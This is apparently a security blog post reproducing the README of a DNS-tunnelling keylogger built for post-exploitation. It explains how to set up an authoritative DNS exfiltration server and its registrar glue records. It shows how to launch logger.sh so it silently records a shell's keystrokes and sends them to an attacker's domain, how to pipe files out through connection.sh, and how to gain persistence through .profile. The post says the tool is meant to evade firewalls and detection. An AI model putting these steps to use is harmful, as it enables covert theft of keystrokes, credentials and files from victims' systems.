Post Exploitation

DNS Tunnel Keylogger – Stealthy Exfiltration And Persistence Techniques

This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.

These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.

Server

Setup

The server uses python3.

To install dependencies, run python3 -m pip install -r requirements.txt

Starting The Server

To start the server, run python3 main.py

usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

By default, the server listens on UDP port 53. Use the -p flag to specify a different port.

ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.

domain is the domain to listen for, which should be the domain that the server is authoritative for.

Registrar

On the registrar, you want to change your domain’s namespace to custom DNS.

Point them to two domains, ns1.example.com and ns2.example.com.

Add records that point the namespace domains to your exfiltration server’s IP address.

This is the same as setting glue records.

Client

Linux

The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server.

If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.

logger.sh

Usage: logger.sh [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent.

The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.

The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.

The -l option will show warnings and errors. Can be useful for debugging.

logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.

connection.sh

Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

For more information click here.

Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

Recent Posts

Helix : A Deep Dive Into The Modern Terminal-Based Text Editor

Helix is a modern, terminal-based text editor designed for developers seeking speed, efficiency, and advanced…

19 hours ago

Azure-SecOps : Streamlining Security Operations In The Cloud

Azure-SecOps is a critical framework that integrates security tools and operational processes to ensure robust…

19 hours ago

Tauri : A Lightweight Framework For Desktop Applications

Tauri is an innovative framework designed to create lightweight, high-performance desktop applications. It empowers developers…

19 hours ago

Linkook : A Comprehensive OSINT Tool For Social Media Investigations

Linkook is a powerful Open Source Intelligence (OSINT) tool designed to uncover interconnected social media…

19 hours ago

Lapce : The Cutting-Edge, Rust-Built Code Editor For Modern Developers

Lapce is a modern, open-source code editor designed for speed, efficiency, and extensibility. Built entirely…

19 hours ago

BlackBasta Chat : The Inner Workings Of A Notorious Ransomware Group

The recent leak of Black Basta’s internal communications, spanning over 200,000 chat messages, has provided…

21 hours ago